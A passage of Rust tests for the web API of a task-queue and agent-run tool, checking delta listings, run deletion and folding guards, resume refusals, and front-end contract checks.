14019 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
14020 assert_eq!(
14021 removed["queue_delta"]["removed"],
14022 serde_json::json!([task.id])
14023 );
14024 }
14025
14026 #[tokio::test]
14027 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
14028 let home = TempDir::new().unwrap();
14029 let ui = delta_test_ui(home.path());
14030 let queue = ui.queue.clone();
14031 let query = |ids: Option<&str>| {
14032 Query(ListQuery {
14033 limit: Some(2),
14034 ids: ids.map(str::to_owned),
14035 })
14036 };
14037 let mut root = Task::new(
14038 "root".into(),
14039 "instruction".into(),
14040 PathBuf::from("/repo"),
14041 Source::Human,
14042 );
14043 queue.put(&mut root).unwrap();
14044 let mut blocked = Task::new(
14045 "blocked".into(),
14046 "instruction".into(),
14047 PathBuf::from("/repo"),
14048 Source::Human,
14049 );
14050 blocked.block(vec![root.id.clone()], None);
14051 queue.put(&mut blocked).unwrap();
14052 let whole =
14053 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
14054 .unwrap();
14055 let subset = serde_json::to_value(
14056 queue_list(State(ui.clone()), query(Some(&root.id)))
14057 .await
14058 .unwrap()
14059 .0,
14060 )
14061 .unwrap();
14062 assert_eq!(whole, subset, "requested root plus its blocked dependent");
14063 let blockers = serde_json::to_value(
14064 queue_list(State(ui.clone()), query(Some("")))
14065 .await
14066 .unwrap()
14067 .0,
14068 )
14069 .unwrap();
14070 assert_eq!(blockers.as_array().unwrap().len(), 1);
14071 assert_eq!(blockers[0]["id"], blocked.id);
14072 assert_eq!(
14073 blockers[0]["waits_on"],
14074 whole
14075 .as_array()
14076 .unwrap()
14077 .iter()
14078 .find(|row| row["id"] == blocked.id)
14079 .unwrap()["waits_on"]
14080 );
14081
14082 for id in [
14083 "20260902-140501-aaaa",
14084 "20260902-140502-bbbb",
14085 "20260902-140503-cccc",
14086 ] {
14087 write_run(&ui.runs, id, RunStatus::Merged);
14088 }
14089 let old = serde_json::to_value(
14090 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
14091 .await
14092 .unwrap()
14093 .0,
14094 )
14095 .unwrap();
14096 assert!(
14097 old.as_array().unwrap().is_empty(),
14098 "older updates must not enter the window"
14099 );
14100 let newest = serde_json::to_value(
14101 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
14102 .await
14103 .unwrap()
14104 .0,
14105 )
14106 .unwrap();
14107 assert_eq!(newest.as_array().unwrap().len(), 1);
14108 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
14109
14110 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
14111 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
14112 let talks = serde_json::to_value(
14113 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
14114 .await
14115 .unwrap()
14116 .0,
14117 )
14118 .unwrap();
14119 assert_eq!(talks.as_array().unwrap().len(), 1);
14120 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
14121 assert_eq!(
14122 serde_json::to_value(
14123 talks_list(State(ui.clone()), query(Some("")))
14124 .await
14125 .unwrap()
14126 .0
14127 )
14128 .unwrap(),
14129 serde_json::json!([])
14130 );
14131 }
14132
14133 #[tokio::test]
14134 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
14135 async fn delta_payload_benchmark() {
14136 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
14137 let ui = delta_test_ui(&home);
14138 let query = |ids: Option<String>| {
14139 Query(ListQuery {
14140 limit: Some(50),
14141 ids,
14142 })
14143 };
14144 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
14145 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
14146 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
14147 let queue_id = queue
14148 .iter()
14149 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
14150 .unwrap_or(&queue[0])
14151 .task
14152 .id
14153 .clone();
14154 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
14155 .await
14156 .unwrap()
14157 .0;
14158 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
14159 .await
14160 .unwrap()
14161 .0;
14162 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
14163 .await
14164 .unwrap()
14165 .0;
14166 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
14167 eprintln!(
14168 "DELTA_PAYLOAD {}",
14169 serde_json::json!({
14170 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
14171 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
14172 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
14173 "counts": [queue.len(), runs.len(), talks.len()],
14174 "blocked": queue_delta.len() - 1,
14175 })
14176 );
14177 }
14178
14179 #[test]
14180 fn runs_revision_moves_when_deleting_an_older_run() {
14181 let temp = TempDir::new().expect("tempdir");
14182 let runs = temp.path().join("runs");
14183 std::fs::create_dir_all(&runs).expect("create runs dir");
14184
14185 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
14186
14187 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
14188 std::thread::sleep(Duration::from_millis(10));
14189 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
14190
14191 let rev_before = runs_revision(&runs);
14192 assert!(rev_before > 0);
14193
14194 let old_dir = runs.join("20260901-100000-old1");
14195 std::fs::remove_dir_all(&old_dir).expect("remove old run");
14196
14197 let rev_after = runs_revision(&runs);
14198 assert_ne!(
14199 rev_before, rev_after,
14200 "deleting an older run must change the revision so other clients see the deletion"
14201 );
14202 }
14203
14204 fn write_state(runs: &FsPath, state: &RunState) {
14209 let dir = runs.join(&state.id);
14210 std::fs::create_dir_all(&dir).expect("run dir");
14211 std::fs::write(
14212 dir.join("run.json"),
14213 serde_json::to_string_pretty(state).expect("serialize run"),
14214 )
14215 .expect("write run.json");
14216 }
14217
14218 #[test]
14223 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
14224 let temp = TempDir::new().expect("tempdir");
14225 let runs = temp.path().join("runs");
14226 std::fs::create_dir_all(&runs).expect("create runs dir");
14227 let mut state = RunState::new(
14228 PathBuf::from("/repo/magi"),
14229 "main".to_owned(),
14230 "0123456789abcdef".to_owned(),
14231 "task".to_owned(),
14232 Config::default(),
14233 );
14234 state.id = "20260902-100000-c0de".to_owned();
14235 write_state(&runs, &state);
14236
14237 let rev_idle = runs_revision(&runs);
14238 std::thread::sleep(Duration::from_millis(10));
14239 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
14240 write_state(&runs, &state);
14241 let rev_started = runs_revision(&runs);
14242 assert_ne!(
14243 rev_idle, rev_started,
14244 "a seat starting must move the revision"
14245 );
14246
14247 std::thread::sleep(Duration::from_millis(10));
14248 state.seat_finished("judge-1");
14249 write_state(&runs, &state);
14250 let rev_finished = runs_revision(&runs);
14251 assert_ne!(
14252 rev_started, rev_finished,
14253 "and clearing it again must move the revision a second time"
14254 );
14255 }
14256
14257 #[tokio::test]
14258 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
14259 let fx = Fixture::start().await;
14264 let q = fx.queue();
14265
14266 let mut t = Task::new(
14267 "Task".to_owned(),
14268 "Instruction".to_owned(),
14269 PathBuf::from("/repo"),
14270 Source::Human,
14271 );
14272 t.block(
14273 vec!["20260101-000000-dead".to_owned()],
14274 Some("waiting on Task 1".to_owned()),
14275 );
14276 t.answers.push(crate::queue::AnsweredQuestion {
14277 question: "Which backend?".to_owned(),
14278 answer: "SQLite".to_owned(),
14279 });
14280 q.put(&mut t).expect("put t");
14281
14282 let res = fx.get("/api/queue").await;
14283 assert_eq!(res.status, 200);
14284 let list = res.json();
14285 let view = list
14286 .as_array()
14287 .expect("array")
14288 .iter()
14289 .find(|v| v["id"] == t.id)
14290 .expect("task in list");
14291 assert_eq!(view["status_str"], "blocked");
14292 assert_eq!(
14293 view["blocked_by"],
14294 serde_json::json!(["20260101-000000-dead"])
14295 );
14296 assert_eq!(view["block_reason"], "waiting on Task 1");
14297 assert_eq!(view["answers"][0]["question"], "Which backend?");
14298 assert_eq!(view["answers"][0]["answer"], "SQLite");
14299
14300 let res = fx
14304 .post(&format!("/api/queue/{}/hold", t.short()), None)
14305 .await;
14306 assert_eq!(res.status, 200);
14307 let held = res.json();
14308 assert_eq!(held["status_str"], "held");
14309 assert_eq!(held["blocked_by"], serde_json::json!([]));
14310 assert!(held["block_reason"].is_null());
14311 assert_eq!(held["answers"][0]["answer"], "SQLite");
14312 }
14313
14314 #[tokio::test]
14315 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
14316 let fx = Fixture::start().await;
14317 let q = fx.queue();
14318 let mk = |title: &str| {
14319 Task::new(
14320 title.to_owned(),
14321 "Instruction".to_owned(),
14322 PathBuf::from("/repo"),
14323 Source::Human,
14324 )
14325 };
14326 let mut root = mk("root");
14327 root.hold_manual(Some("waiting".to_owned()));
14328 q.put(&mut root).unwrap();
14329 let mut mid = mk("mid");
14330 mid.block(vec![root.id.clone()], None);
14331 q.put(&mut mid).unwrap();
14332 let mut leaf = mk("leaf");
14333 leaf.block(vec![mid.id.clone()], None);
14334 q.put(&mut leaf).unwrap();
14335
14336 let list = fx.get("/api/queue").await.json();
14337 let find = |id: &str| {
14338 list.as_array()
14339 .unwrap()
14340 .iter()
14341 .find(|v| v["id"] == id)
14342 .unwrap()
14343 .clone()
14344 };
14345 let leaf_view = find(&leaf.id);
14346 assert_eq!(
14347 leaf_view["waits_on"],
14348 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
14349 );
14350 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
14351 assert_eq!(
14352 find(&mid.id)["waits_on"],
14353 serde_json::json!([format!("{} (held)", root.short())])
14354 );
14355 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
14356 }
14357
14358 #[tokio::test]
14359 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
14360 let fx = Fixture::start().await;
14361 let q = fx.queue();
14362
14363 let mut t1 = Task::new(
14365 "Task 1".to_owned(),
14366 "Instruction 1".to_owned(),
14367 PathBuf::from("/repo"),
14368 Source::Human,
14369 );
14370 let run_id = "20260901-000000-r111";
14371 t1.runs.push(run_id.to_owned());
14372 write_run(&fx.runs(), run_id, RunStatus::Merged);
14373 q.put(&mut t1).expect("put t1");
14374
14375 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
14377 assert_eq!(res.status, 204);
14378 assert!(res.body.is_empty(), "204 No Content has no body");
14379 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
14380 assert!(
14381 fx.runs().join(run_id).exists(),
14382 "run directory must not be deleted when its task is deleted"
14383 );
14384
14385 let mut t2 = Task::new(
14387 "Task 2".to_owned(),
14388 "Instruction 2".to_owned(),
14389 PathBuf::from("/repo"),
14390 Source::Human,
14391 );
14392 t2.status = TaskStatus::Running;
14393 q.put(&mut t2).expect("put t2");
14394 let mut beat = crate::daemon::Status::new();
14395 beat.current = vec![crate::daemon::Current {
14396 task: t2.id.clone(),
14397 run: "20260901-000000-r222".to_owned(),
14398 }];
14399 beat.updated_at = jiff::Timestamp::now();
14400 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14401 .expect("publish a heartbeat");
14402 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
14403 assert_eq!(res.status, 409);
14404 assert!(
14405 res.json()["error"]
14406 .as_str()
14407 .unwrap()
14408 .contains("live daemon")
14409 );
14410 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
14411
14412 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
14418 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14419 .expect("leave a stale heartbeat");
14420 let mut t3 = Task::new(
14421 "Task 3".to_owned(),
14422 "Instruction 3".to_owned(),
14423 PathBuf::from("/repo"),
14424 Source::Human,
14425 );
14426 t3.status = TaskStatus::Running;
14427 q.put(&mut t3).expect("put t3");
14428 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
14429 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
14430 assert_eq!(res.status, 204);
14431 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
14432 assert!(
14433 q.claim(&t3.id).is_ok(),
14434 "the stale lock went with it, so the id is claimable again"
14435 );
14436
14437 let res = fx.delete("/api/queue/nonexistent").await;
14439 assert_eq!(res.status, 404);
14440 }
14441
14442 #[tokio::test]
14443 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
14444 let fx = Fixture::start().await;
14445 let runs = fx.runs();
14446
14447 let run_id = "20260901-000000-fold";
14449 let mut state = RunState::new(
14450 PathBuf::from("/repo"),
14451 "main".to_owned(),
14452 "abc".to_owned(),
14453 "instruction".to_owned(),
14454 Config::default(),
14455 );
14456 state.id = run_id.to_owned();
14457 state.status = RunStatus::Merged;
14458 state.candidates.push(crate::run::Candidate {
14459 index: 0,
14460 label: 'A',
14461 agent: "a".to_owned(),
14462 branch: "b".to_owned(),
14463 worktree: PathBuf::from("/w"),
14464 summary: String::new(),
14465 stat: String::new(),
14466 files: 1,
14467 commits: 1,
14468 empty: false,
14469 failed: None,
14470 verified_noop: None,
14471 duration_ms: 0,
14472 folded: true,
14473 });
14474 let dir = runs.join(run_id);
14475 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
14476 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
14477 .expect("write artifact");
14478 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
14479 .expect("write run.json");
14480
14481 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
14483 assert_eq!(res.status, 204);
14484 assert!(res.body.is_empty(), "204 has no body");
14485 assert!(!dir.exists(), "run directory and artifacts must be deleted");
14486
14487 let run_running = "20260901-000000-rung";
14492 write_run(&runs, run_running, RunStatus::Prep);
14493 let mut beat = crate::daemon::Status::new();
14494 beat.current = vec![crate::daemon::Current {
14495 task: "20260901-000000-task".to_owned(),
14496 run: run_running.to_owned(),
14497 }];
14498 beat.updated_at = jiff::Timestamp::now();
14499 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14500 .expect("publish a heartbeat");
14501 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14502 assert_eq!(res.status, 409);
14503 assert!(
14504 res.json()["error"]
14505 .as_str()
14506 .unwrap()
14507 .contains("live daemon"),
14508 "the refusal must say who is holding it"
14509 );
14510 assert!(
14511 runs.join(run_running).exists(),
14512 "a run in flight keeps its directory"
14513 );
14514
14515 let run_unfolded = "20260901-000000-unfd";
14517 let mut state2 = RunState::new(
14518 PathBuf::from("/repo"),
14519 "main".to_owned(),
14520 "abc".to_owned(),
14521 "instruction".to_owned(),
14522 Config::default(),
14523 );
14524 state2.id = run_unfolded.to_owned();
14525 state2.status = RunStatus::Ready;
14526 state2.candidates.push(crate::run::Candidate {
14527 index: 0,
14528 label: 'A',
14529 agent: "a".to_owned(),
14530 branch: "b".to_owned(),
14531 worktree: PathBuf::from("/w"),
14532 summary: String::new(),
14533 stat: String::new(),
14534 files: 1,
14535 commits: 1,
14536 empty: false,
14537 failed: None,
14538 verified_noop: None,
14539 duration_ms: 0,
14540 folded: false,
14541 });
14542 let dir2 = runs.join(run_unfolded);
14543 std::fs::create_dir_all(&dir2).expect("create dir2");
14544 std::fs::write(
14545 dir2.join("run.json"),
14546 serde_json::to_string(&state2).unwrap(),
14547 )
14548 .expect("write run.json");
14549
14550 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14551 assert_eq!(res.status, 409);
14552 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14553 assert!(dir2.exists(), "unfolded run directory is kept");
14554
14555 let res = fx.delete("/api/runs/nonexistent").await;
14557 assert_eq!(res.status, 404);
14558 }
14559
14560 #[test]
14569 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14570 let start = APP_JS
14571 .find("function renderStats() {")
14572 .expect("renderStats");
14573 let end = start
14574 + APP_JS[start..]
14575 .find("function statsTile(")
14576 .expect("the next top-level function");
14577 let body = &APP_JS[start..end];
14578
14579 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14580 let gate_end = gate_start
14581 + body[gate_start..]
14582 .find("}\n renderStatsQueue")
14583 .expect("the gate's own closing brace, right before the unconditional call");
14584 let gated = &body[gate_start..gate_end];
14585
14586 assert_eq!(
14587 body.matches("renderStatsQueue(").count(),
14588 1,
14589 "renderStats must call renderStatsQueue exactly once: {body}"
14590 );
14591 assert!(
14592 !gated.contains("renderStatsQueue"),
14593 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14594 run-derived panels on an empty run history - the queue panel has to render \
14595 regardless: {gated}"
14596 );
14597 }
14598
14599 #[test]
14600 fn web_ui_delete_contract_in_front_end() {
14601 assert!(APP_JS.contains("deleteRun:"));
14603 assert!(APP_JS.contains("deleteTask:"));
14604
14605 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
14607 ..APP_JS.find("function renderRuns").unwrap()];
14608 assert!(!run_cards_slice.to_lowercase().contains("delete"));
14609
14610 assert!(APP_JS.contains("renderRunDelete"));
14612 assert!(APP_JS.contains("runDeleteReason"));
14613 assert!(APP_JS.contains("magi fold"));
14614 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
14615
14616 assert!(APP_JS.contains("cancel.focus"));
14618 assert!(APP_JS.contains("armedRunDelete"));
14619 assert!(APP_JS.contains("renderTaskDeleteBox"));
14620 assert!(APP_JS.contains("armed${cap(key)}"));
14621
14622 assert!(APP_JS.contains("disabled: status === \"running\""));
14624 }
14625
14626 #[test]
14646 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
14647 let build = APP_JS
14648 .find("function createRunCard")
14649 .expect("createRunCard exists");
14650 let update = APP_JS
14651 .find("function updateRunCard")
14652 .expect("updateRunCard exists");
14653 let end = APP_JS
14654 .find("function renderRuns")
14655 .expect("renderRuns exists");
14656
14657 let builder = &APP_JS[build..update];
14659 let open = builder.find("refs = {").expect("createRunCard sets refs");
14660 let literal = &builder[open + "refs = {".len()..];
14661 let close = literal.find('}').expect("the refs literal is closed");
14662 let published: HashSet<&str> = literal[..close]
14663 .split(',')
14664 .filter_map(|entry| entry.split(':').next())
14666 .map(str::trim)
14667 .filter(|name| !name.is_empty())
14668 .collect();
14669 assert!(
14670 published.len() > 5,
14671 "the refs literal did not parse into names: {published:?}"
14672 );
14673
14674 let mut used: Vec<&str> = Vec::new();
14677 let updaters = &APP_JS[update..end];
14678 for (at, _) in updaters.match_indices("r.") {
14679 let before = updaters[..at].chars().next_back();
14682 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
14683 continue;
14684 }
14685 let rest = &updaters[at + 2..];
14686 let len = rest
14687 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
14688 .unwrap_or(rest.len());
14689 if len > 0 {
14690 used.push(&rest[..len]);
14691 }
14692 }
14693 assert!(
14694 used.len() > 5,
14695 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
14696 );
14697
14698 let missing: Vec<&str> = used
14699 .iter()
14700 .copied()
14701 .filter(|name| !published.contains(name))
14702 .collect();
14703 assert!(
14704 missing.is_empty(),
14705 "a run card's updater reaches for {missing:?}, which `createRunCard` \
14706 never put in `refs` - every card will throw and the list will \
14707 render empty under a count line that says otherwise. Published: \
14708 {published:?}"
14709 );
14710 }
14711
14712 #[tokio::test]
14713 async fn folding_from_the_phone_reports_what_it_removed() {
14714 let fx = Fixture::start().await;
14715 let runs = fx.runs();
14716
14717 let id = "20260901-000000-fold";
14721 write_run(&runs, id, RunStatus::Stalled);
14722 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14723 assert_eq!(res.status, 200);
14724 assert_eq!(res.json()["removed_count"], 0);
14725 assert_eq!(res.json()["run"], id);
14726 assert!(
14727 runs.join(id).exists(),
14728 "a fold keeps the run's record; only the worktrees go"
14729 );
14730 }
14731
14732 #[tokio::test]
14733 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
14734 let fx = Fixture::start().await;
14735 let runs = fx.runs();
14736 let wt = fx.home.path().join("wt").join("magi").join("dead");
14737 let id = "20260901-000000-dead";
14738 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14739 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14740 std::fs::create_dir_all(&wt).expect("worktree dir");
14741
14742 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14743 assert_eq!(res.status, 200, "{}", res.body);
14744 assert!(
14745 res.json()["removed_count"].as_u64().unwrap() > 0,
14746 "the worktree this build could not read a state for still went"
14747 );
14748 assert!(
14749 !runs.join(id).exists(),
14750 "an unreadable run has no candidate list to fold selectively, so \
14751 the whole record goes - same as `magi fold` on the CLI"
14752 );
14753 }
14754
14755 #[tokio::test]
14756 async fn deleting_an_unreadable_run_removes_it_wholesale() {
14757 let fx = Fixture::start().await;
14758 let runs = fx.runs();
14759 let wt = fx.home.path().join("wt").join("magi").join("gone");
14760 let id = "20260901-000000-gone";
14761 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14762 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14763 std::fs::create_dir_all(&wt).expect("worktree dir");
14764
14765 let res = fx.delete(&format!("/api/runs/{id}")).await;
14766 assert_eq!(res.status, 204, "{}", res.body);
14767 assert!(!runs.join(id).exists(), "the broken record is gone");
14768 assert!(!wt.exists(), "its worktree is gone too");
14769 }
14770
14771 #[tokio::test]
14772 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14773 let fx = Fixture::start().await;
14774 let runs = fx.runs();
14775 let id = "20260901-000000-live";
14776 write_run(&runs, id, RunStatus::Implementing);
14777
14778 let mut beat = crate::daemon::Status::new();
14779 beat.current = vec![crate::daemon::Current {
14780 task: "20260901-000000-task".to_owned(),
14781 run: id.to_owned(),
14782 }];
14783 beat.updated_at = jiff::Timestamp::now();
14784 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14785 .expect("publish a heartbeat");
14786
14787 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14788 assert_eq!(res.status, 409);
14789 assert!(
14790 res.json()["error"]
14791 .as_str()
14792 .unwrap()
14793 .contains("live daemon"),
14794 "folding under a running agent would pull its worktree away"
14795 );
14796 }
14797
14798 #[tokio::test]
14799 async fn fold_merged_requires_a_pr_url() {
14800 let fx = Fixture::start().await;
14801 let runs = fx.runs();
14802 let id = "20260901-000000-nourl";
14803 write_run(&runs, id, RunStatus::Blocked);
14804
14805 let res = fx
14806 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14807 .await;
14808 assert_eq!(res.status, 400, "{}", res.body);
14809
14810 let blank = fx
14811 .post(
14812 &format!("/api/runs/{id}/fold-merged"),
14813 Some(r#"{"pr_url":" "}"#),
14814 )
14815 .await;
14816 assert_eq!(blank.status, 400, "{}", blank.body);
14817 }
14818
14819 #[tokio::test]
14820 async fn fold_merged_is_404_for_an_unknown_run() {
14821 let fx = Fixture::start().await;
14822 let res = fx
14823 .post(
14824 "/api/runs/nosuchrun/fold-merged",
14825 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14826 )
14827 .await;
14828 assert_eq!(res.status, 404, "{}", res.body);
14829 }
14830
14831 #[tokio::test]
14832 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14833 let fx = Fixture::start().await;
14834 let runs = fx.runs();
14835 let id = "20260901-000000-livemerge";
14836 write_run(&runs, id, RunStatus::Blocked);
14837
14838 let mut beat = crate::daemon::Status::new();
14839 beat.current = vec![crate::daemon::Current {
14840 task: "20260901-000000-task".to_owned(),
14841 run: id.to_owned(),
14842 }];
14843 beat.updated_at = jiff::Timestamp::now();
14844 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14845 .expect("publish a heartbeat");
14846
14847 let res = fx
14848 .post(
14849 &format!("/api/runs/{id}/fold-merged"),
14850 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14851 )
14852 .await;
14853 assert_eq!(res.status, 409, "{}", res.body);
14854 assert!(
14855 res.json()["error"]
14856 .as_str()
14857 .unwrap()
14858 .contains("live daemon"),
14859 "correcting a run's merge underneath a running agent would race \
14860 whatever it is doing to the same `status`/`merge` fields"
14861 );
14862 }
14863
14864 #[tokio::test]
14869 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14870 let fx = Fixture::start().await;
14871 let runs = fx.runs();
14872 let id = "20260901-000000-unconfirmed";
14873 write_run(&runs, id, RunStatus::Blocked);
14874
14875 let res = fx
14876 .post(
14877 &format!("/api/runs/{id}/fold-merged"),
14878 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14879 )
14880 .await;
14881 assert_eq!(res.status, 400, "{}", res.body);
14882 assert_eq!(
14883 read_run(&runs, id).unwrap().status,
14884 RunStatus::Blocked,
14885 "a pull request that could not be confirmed merged must leave \
14886 the run exactly where it was"
14887 );
14888 }
14889
14890 #[tokio::test]
14891 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14892 let fx = Fixture::start().await;
14893 let runs = fx.runs();
14894
14895 for (status, word) in [
14901 (RunStatus::Merged, "merged"),
14902 (RunStatus::Ready, "ready"),
14903 (RunStatus::Failed, "failed"),
14904 ] {
14905 let id = format!("20260901-000000-{}", &word[..4]);
14906 write_run(&runs, &id, status);
14907 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14908 assert_eq!(res.status, 409, "{word} must not be resumable");
14909 let err = res.json()["error"].as_str().unwrap().to_owned();
14910 assert!(err.contains(word), "the refusal names the status: {err}");
14911 }
14912
14913 let mid = "20260901-000000-midf";
14918 write_run(&runs, mid, RunStatus::Reviewing);
14919 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14920 assert_eq!(res.status, 202, "an interrupted run is resumable");
14921 }
14922
14923 #[tokio::test]
14924 async fn resume_is_refused_while_the_loop_is_running() {
14925 let fx = Fixture::start().await;
14926 let runs = fx.runs();
14927 let stalled = "20260901-000000-stal";
14928 write_run(&runs, stalled, RunStatus::Stalled);
14929
14930 let mut beat = crate::daemon::Status::new();
14934 beat.current = vec![crate::daemon::Current {
14935 task: "20260901-000000-task".to_owned(),
14936 run: "20260901-000000-othr".to_owned(),
14937 }];
14938 beat.updated_at = jiff::Timestamp::now();
14939 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14940 .expect("publish a heartbeat");
14941
14942 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14943 assert_eq!(res.status, 409);
14944 let err = res.json()["error"].as_str().unwrap().to_owned();
14945 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14946 assert!(err.contains("stop it first"), "{err}");
14947 }
14948
14949 #[test]
14950 fn a_run_cannot_be_resumed_twice_at_once() {
14951 let home = TempDir::new().expect("temp home");
14952 let ui = Ui::new(
14953 Queue::at(home.path().join("queue")),
14954 Questions::at(home.path().join("questions")),
14955 Talks::at(home.path().join("talks")),
14956 home.path().join("runs"),
14957 home.path().to_path_buf(),
14958 PathBuf::from("/repo"),
14959 )
14960 .with_worktrees_root(home.path().join("wt"));
14961 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14962 let again = ui.begin_resume("20260901-000000-once");
14963 assert!(again.is_err(), "a second tap must not start a second graph");
14964 drop(first);
14965 assert!(
14966 ui.begin_resume("20260901-000000-once").is_ok(),
14967 "and the claim is released when the attempt ends"
14968 );
14969 }
14970
14971 #[test]
14972 fn talk_thinking_tracks_only_its_held_turn_claim() {
14973 let home = TempDir::new().expect("temp home");
14974 let ui = Ui::new(
14975 Queue::at(home.path().join("queue")),
14976 Questions::at(home.path().join("questions")),
14977 Talks::at(home.path().join("talks")),
14978 home.path().join("runs"),
14979 home.path().to_path_buf(),
14980 PathBuf::from("/repo"),
14981 )
14982 .with_worktrees_root(home.path().join("wt"));
14983 let id = "20260901-000000-once";
14984
14985 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14986 let turn = ui.begin_talk_turn(id).expect("claim turn");
14987 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14988 assert!(
14989 !ui.is_thinking("20260901-000000-other"),
14990 "one talk's turn does not make another talk busy"
14991 );
14992 drop(turn);
14993 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14994 }
14995
14996 #[test]
14997 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14998 let home = TempDir::new().expect("temp home");
14999 let talks = Talks::at(home.path().join("talks"));
15000 let ui = Ui::new(
15001 Queue::at(home.path().join("queue")),
15002 Questions::at(home.path().join("questions")),
15003 talks.clone(),
15004 home.path().join("runs"),
15005 home.path().to_path_buf(),
15006 PathBuf::from("/repo"),
15007 )
15008 .with_worktrees_root(home.path().join("wt"));
15009 let id = "20260901-000000-cross";
15010
15011 let other = Talks::at(home.path().join("talks"))
15012 .claim_turn(id)
15013 .expect("claim")
15014 .expect("the other process wins");
15015 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
15016 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
15017 assert!(
15018 matches!(
15019 ui.begin_talk_turn_unless_pending(id).expect("start"),
15020 TalkTurnStart::Foreign
15021 ),
